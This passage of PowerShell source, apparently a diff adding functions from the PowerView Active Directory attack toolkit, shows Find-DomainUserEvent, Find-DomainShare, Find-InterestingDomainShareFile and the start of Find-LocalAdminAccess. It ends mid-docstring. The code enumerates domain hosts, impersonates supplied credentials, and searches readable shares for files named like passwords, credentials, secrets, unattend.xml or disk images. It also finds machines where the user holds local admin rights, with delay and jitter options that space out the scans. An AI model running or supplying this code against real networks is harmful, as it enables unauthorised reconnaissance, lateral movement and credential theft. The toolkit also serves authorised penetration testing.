[ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $StopOnSuccess, + + [ValidateRange(1, 10000)] + [Int] + $Delay = 0, + + [ValidateRange(0.0, 1.0)] + [Double] + $Jitter = .3, + + [Int] + [ValidateRange(1, 100)] + $Threads = 20 + ) + + BEGIN { + $UserSearcherArguments = @{ + 'Properties' = 'samaccountname' + } + if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity } + if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain } + if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter } + if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase } + if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount } + if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } + + if ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount']) { + $TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname + } + elseif ($PSBoundParameters['UserGroupIdentity'] -or (-not $PSBoundParameters['Filter'])) { + # otherwise we're querying a specific group + $GroupSearcherArguments = @{ + 'Identity' = $UserGroupIdentity + 'Recurse' = $True + } + Write-Verbose "UserGroupIdentity: $UserGroupIdentity" + if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain } + if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase } + if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential } + $TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName + } + + # build the set of computers to enumerate + if ($PSBoundParameters['ComputerName']) { + $TargetComputers = $ComputerName + } + else { + # if not -ComputerName is passed, query the current (or target) domain for domain controllers + $DCSearcherArguments = @{ + 'LDAP' = $True + } + if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential } + Write-Verbose "[Find-DomainUserEvent] Querying for domain controllers in domain: $Domain" + $TargetComputers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname + } + if ($TargetComputers -and ($TargetComputers -isnot [System.Array])) { + $TargetComputers = @(,$TargetComputers) + } + Write-Verbose "[Find-DomainUserEvent] TargetComputers length: $($TargetComputers.Length)" + Write-Verbose "[Find-DomainUserEvent] TargetComputers $TargetComputers" + if ($TargetComputers.Length -eq 0) { + throw '[Find-DomainUserEvent] No hosts found to enumerate' + } + + # the host enumeration block we're using to enumerate all servers + $HostEnumBlock = { + Param($ComputerName, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential) + + ForEach ($TargetComputer in $ComputerName) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if ($Up) { + $DomainUserEventArgs = @{ + 'ComputerName' = $TargetComputer + } + if ($StartTime) { $DomainUserEventArgs['StartTime'] = $StartTime } + if ($EndTime) { $DomainUserEventArgs['EndTime'] = $EndTime } + if ($MaxEvents) { $DomainUserEventArgs['MaxEvents'] = $MaxEvents } + if ($Credential) { $DomainUserEventArgs['Credential'] = $Credential } + if ($Filter -or $TargetUsers) { + if ($TargetUsers) { + Get-DomainUserEvent @DomainUserEventArgs | Where-Object {$TargetUsers -contains $_.TargetUserName} + } + else { + $Operator = 'or' + $Filter.Keys | ForEach-Object { + if (($_ -eq 'Op') -or ($_ -eq 'Operator') -or ($_ -eq 'Operation')) { + if (($Filter[$_] -match '&') -or ($Filter[$_] -eq 'and')) { + $Operator = 'and' + } + } + } + $Keys = $Filter.Keys | Where-Object {($_ -ne 'Op') -and ($_ -ne 'Operator') -and ($_ -ne 'Operation')} + Get-DomainUserEvent @DomainUserEventArgs | ForEach-Object { + if ($Operator -eq 'or') { + ForEach ($Key in $Keys) { + if ($_."$Key" -match $Filter[$Key]) { + $_ + } + } + } + else { + # and all clauses + ForEach ($Key in $Keys) { + if ($_."$Key" -notmatch $Filter[$Key]) { + break + } + $_ + } + } + } + } + } + else { + Get-DomainUserEvent @DomainUserEventArgs + } + } + } + } + } + + PROCESS { + # only ignore threading if -Delay is passed + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + + Write-Verbose "[Find-DomainUserEvent] Total number of hosts: $($TargetComputers.count)" + Write-Verbose "[Find-DomainUserEvent] Delay: $Delay, Jitter: $Jitter" + $Counter = 0 + $RandNo = New-Object System.Random + + ForEach ($TargetComputer in $TargetComputers) { + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[Find-DomainUserEvent] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" + $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential + $Result + + if ($Result -and $StopOnSuccess) { + Write-Verbose "[Find-DomainUserEvent] Target user found, returning early" + return + } + } + } + else { + Write-Verbose "[Find-DomainUserEvent] Using threading with threads: $Threads" + + # if we're using threading, kick off the script block with New-ThreadedFunction + $ScriptParams = @{ + 'StartTime' = $StartTime + 'EndTime' = $EndTime + 'MaxEvents' = $MaxEvents + 'TargetUsers' = $TargetUsers + 'Filter' = $Filter + 'Credential' = $Credential + } + + # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads + } + } +} + + +function Find-DomainShare { +<# +.SYNOPSIS + +Searches for computer shares on the domain. If -CheckShareAccess is passed, +then only shares the current user has read access to are returned. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, New-ThreadedFunction + +.DESCRIPTION + +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and enumerates the available shares for each +machine with Get-NetShare. If -CheckShareAccess is passed, then +[IO.Directory]::GetFiles() is used to check if the current user has read +access to the given share. If -Credential is passed, then +Invoke-UserImpersonation is used to impersonate the specified user before +enumeration, reverting after with Invoke-RevertToSelf. + +.PARAMETER ComputerName + +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. + +.PARAMETER ComputerDomain + +Specifies the domain to query for computers, defaults to the current domain. + +.PARAMETER ComputerLDAPFilter + +Specifies an LDAP query string that is used to search for computer objects. + +.PARAMETER ComputerSearchBase + +Specifies the LDAP source to search through for computers, +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. + +.PARAMETER ComputerOperatingSystem + +Search computers with a specific operating system, wildcards accepted. + +.PARAMETER ComputerServicePack + +Search computers with a specific service pack, wildcards accepted. + +.PARAMETER ComputerSiteName + +Search computers in the specific AD Site name, wildcards accepted. + +.PARAMETER CheckShareAccess + +Switch. Only display found shares that the local user has access to. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain and target systems. + +.PARAMETER Delay + +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +.PARAMETER Jitter + +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +.PARAMETER Threads + +The number of threads to use for user searching, defaults to 20. + +.EXAMPLE + +Find-DomainShare + +Find all domain shares in the current domain. + +.EXAMPLE + +Find-DomainShare -CheckShareAccess + +Find all domain shares in the current domain that the current user has +read access to. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-DomainShare -Domain testlab.local -Credential $Cred + +Searches for domain shares in the testlab.local domain using the specified alternate credentials. + +.OUTPUTS + +PowerView.ShareInfo +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ShareInfo')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DNSHostName')] + [String[]] + $ComputerName, + + [ValidateNotNullOrEmpty()] + [Alias('Domain')] + [String] + $ComputerDomain, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerLDAPFilter, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerSearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('OperatingSystem')] + [String] + $ComputerOperatingSystem, + + [ValidateNotNullOrEmpty()] + [Alias('ServicePack')] + [String] + $ComputerServicePack, + + [ValidateNotNullOrEmpty()] + [Alias('SiteName')] + [String] + $ComputerSiteName, + + [Alias('CheckAccess')] + [Switch] + $CheckShareAccess, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [ValidateRange(1, 10000)] + [Int] + $Delay = 0, + + [ValidateRange(0.0, 1.0)] + [Double] + $Jitter = .3, + + [Int] + [ValidateRange(1, 100)] + $Threads = 20 + ) + + BEGIN { + + $ComputerSearcherArguments = @{ + 'Properties' = 'dnshostname' + } + if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } + if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } + if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } + if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } + if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } + if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } + if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } + + if ($PSBoundParameters['ComputerName']) { + $TargetComputers = $ComputerName + } + else { + Write-Verbose '[Find-DomainShare] Querying computers in the domain' + $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname + } + Write-Verbose "[Find-DomainShare] TargetComputers length: $($TargetComputers.Length)" + if ($TargetComputers.Length -eq 0) { + throw '[Find-DomainShare] No hosts found to enumerate' + } + + # the host enumeration block we're using to enumerate all servers + $HostEnumBlock = { + Param($ComputerName, $CheckShareAccess, $TokenHandle) + + if ($TokenHandle) { + # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation + $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet + } + + ForEach ($TargetComputer in $ComputerName) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if ($Up) { + # get the shares for this host and check what we find + $Shares = Get-NetShare -ComputerName $TargetComputer + ForEach ($Share in $Shares) { + $ShareName = $Share.Name + # $Remark = $Share.Remark + $Path = '\\'+$TargetComputer+'\'+$ShareName + + if (($ShareName) -and ($ShareName.trim() -ne '')) { + # see if we want to check access to this share + if ($CheckShareAccess) { + # check if the user has access to this path + try { + $Null = [IO.Directory]::GetFiles($Path) + $Share + } + catch { + Write-Verbose "Error accessing share path $Path : $_" + } + } + else { + $Share + } + } + } + } + } + + if ($TokenHandle) { + Invoke-RevertToSelf + } + } + + $LogonToken = $Null + if ($PSBoundParameters['Credential']) { + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + else { + $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet + } + } + } + + PROCESS { + # only ignore threading if -Delay is passed + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + + Write-Verbose "[Find-DomainShare] Total number of hosts: $($TargetComputers.count)" + Write-Verbose "[Find-DomainShare] Delay: $Delay, Jitter: $Jitter" + $Counter = 0 + $RandNo = New-Object System.Random + + ForEach ($TargetComputer in $TargetComputers) { + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[Find-DomainShare] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $CheckShareAccess, $LogonToken + } + } + else { + Write-Verbose "[Find-DomainShare] Using threading with threads: $Threads" + + # if we're using threading, kick off the script block with New-ThreadedFunction + $ScriptParams = @{ + 'CheckShareAccess' = $CheckShareAccess + 'TokenHandle' = $LogonToken + } + + # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Find-InterestingDomainShareFile { +<# +.SYNOPSIS + +Searches for files matching specific criteria on readable shares +in the domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, Find-InterestingFile, New-ThreadedFunction + +.DESCRIPTION + +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and enumerates the available shares for each +machine with Get-NetShare. It will then use Find-InterestingFile on each +readhable share, searching for files marching specific criteria. If -Credential +is passed, then Invoke-UserImpersonation is used to impersonate the specified +user before enumeration, reverting after with Invoke-RevertToSelf. + +.PARAMETER ComputerName + +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. + +.PARAMETER ComputerDomain + +Specifies the domain to query for computers, defaults to the current domain. + +.PARAMETER ComputerLDAPFilter + +Specifies an LDAP query string that is used to search for computer objects. + +.PARAMETER ComputerSearchBase + +Specifies the LDAP source to search through for computers, +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. + +.PARAMETER ComputerOperatingSystem + +Search computers with a specific operating system, wildcards accepted. + +.PARAMETER ComputerServicePack + +Search computers with a specific service pack, wildcards accepted. + +.PARAMETER ComputerSiteName + +Search computers in the specific AD Site name, wildcards accepted. + +.PARAMETER Include + +Only return files/folders that match the specified array of strings, +i.e. @(*.doc*, *.xls*, *.ppt*) + +.PARAMETER SharePath + +Specifies one or more specific share paths to search, in the form \\COMPUTER\Share + +.PARAMETER ExcludedShares + +Specifies share paths to exclude, default of C$, Admin$, Print$, IPC$. + +.PARAMETER LastAccessTime + +Only return files with a LastAccessTime greater than this date value. + +.PARAMETER LastWriteTime + +Only return files with a LastWriteTime greater than this date value. + +.PARAMETER CreationTime + +Only return files with a CreationTime greater than this date value. + +.PARAMETER OfficeDocs + +Switch. Search for office documents (*.doc*, *.xls*, *.ppt*) + +.PARAMETER FreshEXEs + +Switch. Find .EXEs accessed within the last 7 days. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain and target systems. + +.PARAMETER Delay + +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +.PARAMETER Jitter + +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +.PARAMETER Threads + +The number of threads to use for user searching, defaults to 20. + +.EXAMPLE + +Find-InterestingDomainShareFile + +Finds 'interesting' files on the current domain. + +.EXAMPLE + +Find-InterestingDomainShareFile -ComputerName @('windows1.testlab.local','windows2.testlab.local') + +Finds 'interesting' files on readable shares on the specified systems. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('DEV\dfm.a', $SecPassword) +Find-DomainShare -Domain testlab.local -Credential $Cred + +Searches interesting files in the testlab.local domain using the specified alternate credentials. + +.OUTPUTS + +PowerView.FoundFile +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.FoundFile')] + [CmdletBinding(DefaultParameterSetName = 'FileSpecification')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DNSHostName')] + [String[]] + $ComputerName, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerDomain, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerLDAPFilter, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerSearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('OperatingSystem')] + [String] + $ComputerOperatingSystem, + + [ValidateNotNullOrEmpty()] + [Alias('ServicePack')] + [String] + $ComputerServicePack, + + [ValidateNotNullOrEmpty()] + [Alias('SiteName')] + [String] + $ComputerSiteName, + + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [Alias('SearchTerms', 'Terms')] + [String[]] + $Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'), + + [ValidateNotNullOrEmpty()] + [ValidatePattern('\\\\')] + [Alias('Share')] + [String[]] + $SharePath, + + [String[]] + $ExcludedShares = @('C$', 'Admin$', 'Print$', 'IPC$'), + + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [DateTime] + $LastAccessTime, + + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [DateTime] + $LastWriteTime, + + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [DateTime] + $CreationTime, + + [Parameter(ParameterSetName = 'OfficeDocs')] + [Switch] + $OfficeDocs, + + [Parameter(ParameterSetName = 'FreshEXEs')] + [Switch] + $FreshEXEs, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [ValidateRange(1, 10000)] + [Int] + $Delay = 0, + + [ValidateRange(0.0, 1.0)] + [Double] + $Jitter = .3, + + [Int] + [ValidateRange(1, 100)] + $Threads = 20 + ) + + BEGIN { + $ComputerSearcherArguments = @{ + 'Properties' = 'dnshostname' + } + if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } + if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } + if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } + if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } + if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } + if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } + + if ($PSBoundParameters['ComputerName']) { + $TargetComputers = $ComputerName + } + else { + Write-Verbose '[Find-InterestingDomainShareFile] Querying computers in the domain' + $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname + } + Write-Verbose "[Find-InterestingDomainShareFile] TargetComputers length: $($TargetComputers.Length)" + if ($TargetComputers.Length -eq 0) { + throw '[Find-InterestingDomainShareFile] No hosts found to enumerate' + } + + # the host enumeration block we're using to enumerate all servers + $HostEnumBlock = { + Param($ComputerName, $Include, $ExcludedShares, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $TokenHandle) + + if ($TokenHandle) { + # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation + $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet + } + + ForEach ($TargetComputer in $ComputerName) { + + $SearchShares = @() + if ($TargetComputer.StartsWith('\\')) { + # if a share is passed as the server + $SearchShares += $TargetComputer + } + else { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if ($Up) { + # get the shares for this host and display what we find + $Shares = Get-NetShare -ComputerName $TargetComputer + ForEach ($Share in $Shares) { + $ShareName = $Share.Name + $Path = '\\'+$TargetComputer+'\'+$ShareName + # make sure we get a real share name back + if (($ShareName) -and ($ShareName.Trim() -ne '')) { + # skip this share if it's in the exclude list + if ($ExcludedShares -NotContains $ShareName) { + # check if the user has access to this path + try { + $Null = [IO.Directory]::GetFiles($Path) + $SearchShares += $Path + } + catch { + Write-Verbose "[!] No access to $Path" + } + } + } + } + } + } + + ForEach ($Share in $SearchShares) { + Write-Verbose "Searching share: $Share" + $SearchArgs = @{ + 'Path' = $Share + 'Include' = $Include + } + if ($OfficeDocs) { + $SearchArgs['OfficeDocs'] = $OfficeDocs + } + if ($FreshEXEs) { + $SearchArgs['FreshEXEs'] = $FreshEXEs + } + if ($LastAccessTime) { + $SearchArgs['LastAccessTime'] = $LastAccessTime + } + if ($LastWriteTime) { + $SearchArgs['LastWriteTime'] = $LastWriteTime + } + if ($CreationTime) { + $SearchArgs['CreationTime'] = $CreationTime + } + if ($CheckWriteAccess) { + $SearchArgs['CheckWriteAccess'] = $CheckWriteAccess + } + Find-InterestingFile @SearchArgs + } + } + + if ($TokenHandle) { + Invoke-RevertToSelf + } + } + + $LogonToken = $Null + if ($PSBoundParameters['Credential']) { + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + else { + $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet + } + } + } + + PROCESS { + # only ignore threading if -Delay is passed + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + + Write-Verbose "[Find-InterestingDomainShareFile] Total number of hosts: $($TargetComputers.count)" + Write-Verbose "[Find-InterestingDomainShareFile] Delay: $Delay, Jitter: $Jitter" + $Counter = 0 + $RandNo = New-Object System.Random + + ForEach ($TargetComputer in $TargetComputers) { + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[Find-InterestingDomainShareFile] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $Include, $ExcludedShares, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $LogonToken + } + } + else { + Write-Verbose "[Find-InterestingDomainShareFile] Using threading with threads: $Threads" + + # if we're using threading, kick off the script block with New-ThreadedFunction + $ScriptParams = @{ + 'Include' = $Include + 'ExcludedShares' = $ExcludedShares + 'OfficeDocs' = $OfficeDocs + 'ExcludeHidden' = $ExcludeHidden + 'FreshEXEs' = $FreshEXEs + 'CheckWriteAccess' = $CheckWriteAccess + 'TokenHandle' = $LogonToken + } + + # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Find-LocalAdminAccess { +<# +.SYNOPSIS + +Finds machines on the local domain where the current user has local administrator access. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Test-AdminAccess, New-ThreadedFunction + +.DESCRIPTION + +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and for each computer it checks if the current user +has local administrator access using Test-AdminAccess. If -Credential is passed, +then Invoke-UserImpersonation is used to impersonate the specified user +before enumeration, reverting after with Invoke-RevertToSelf. + +Idea adapted from the local_admin_search_enum post module in Metasploit written by: + 'Brandon McCann "zeknox" ' + 'Thomas McCarthy "smilingraccoon" ' + 'Royce Davis "r3dy" ' + +.PARAMETER ComputerName + +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. + +.PARAMETER ComputerDomain + +Specifies the domain to query for computers, defaults to the current domain. + +.PARAMETER ComputerLDAPFilter + +Specifies an LDAP query string that is used to search for computer objects. + +.PARAMETER ComputerSearchBase + +Specifies the LDAP source to search through for computers, +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. + +.PARAMETER ComputerOperatingSystem + +Search computers with a specific operating system, wildcards accepted. + +.PARAMETER ComputerServicePack + +Search computers with a specific service pack, wildcards accepted. + +.PARAMETER ComputerSiteName + +Search computers in the specific AD Site name, wildcards accepted. + +.PARAMETER CheckShareAccess + +Switch. Only display found shares that the local user has access to. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain and target systems. + +.PARAMETER Delay + +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +.PARAMETER Jitter + +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 